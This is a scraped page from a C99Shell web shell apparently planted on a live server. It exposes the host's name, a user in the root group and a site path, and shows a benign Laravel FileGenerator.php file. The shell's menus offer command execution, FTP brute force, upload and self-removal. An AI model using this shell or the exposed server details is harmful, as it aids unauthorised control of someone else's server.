!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Generators/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FileGenerator.php (2.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Generators;

use 
Illuminate\Filesystem\Filesystem;
use 
Nwidart\Modules\Exceptions\FileAlreadyExistException;

class 
FileGenerator extends Generator
{
    
/**
     * The path wil be used.
     *
     * @var string
     */
    
protected $path;

    
/**
     * The contens will be used.
     *
     * @var string
     */
    
protected $contents;

    
/**
     * The laravel filesystem or null.
     *
     * @var \Illuminate\Filesystem\Filesystem|null
     */
    
protected $filesystem;
    
/**
     * @var bool
     */
    
private $overwriteFile;

    
/**
     * The constructor.
     *
     * @param $path
     * @param $contents
     * @param null $filesystem
     */
    
public function __construct($path$contents$filesystem null)
    {
        
$this->path $path;
        
$this->contents $contents;
        
$this->filesystem $filesystem ?: new Filesystem();
    }

    
/**
     * Get contents.
     *
     * @return mixed
     */
    
public function getContents()
    {
        return 
$this->contents;
    }

    
/**
     * Set contents.
     *
     * @param mixed $contents
     *
     * @return $this
     */
    
public function setContents($contents)
    {
        
$this->contents $contents;

        return 
$this;
    }

    
/**
     * Get filesystem.
     *
     * @return mixed
     */
    
public function getFilesystem()
    {
        return 
$this->filesystem;
    }

    
/**
     * Set filesystem.
     *
     * @param Filesystem $filesystem
     *
     * @return $this
     */
    
public function setFilesystem(Filesystem $filesystem)
    {
        
$this->filesystem $filesystem;

        return 
$this;
    }

    
/**
     * Get path.
     *
     * @return mixed
     */
    
public function getPath()
    {
        return 
$this->path;
    }

    
/**
     * Set path.
     *
     * @param mixed $path
     *
     * @return $this
     */
    
public function setPath($path)
    {
        
$this->path $path;

        return 
$this;
    }

    public function 
withFileOverwrite(bool $overwrite): FileGenerator
    
{
        
$this->overwriteFile $overwrite;

        return 
$this;
    }

    
/**
     * Generate the file.
     */
    
public function generate()
    {
        
$path $this->getPath();
        if (!
$this->filesystem->exists($path)) {
            return 
$this->filesystem->put($path$this->getContents());
        }
        if (
$this->overwriteFile === true) {
            return 
$this->filesystem->put($path$this->getContents());
        }

        throw new 
FileAlreadyExistException('File already exists!');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--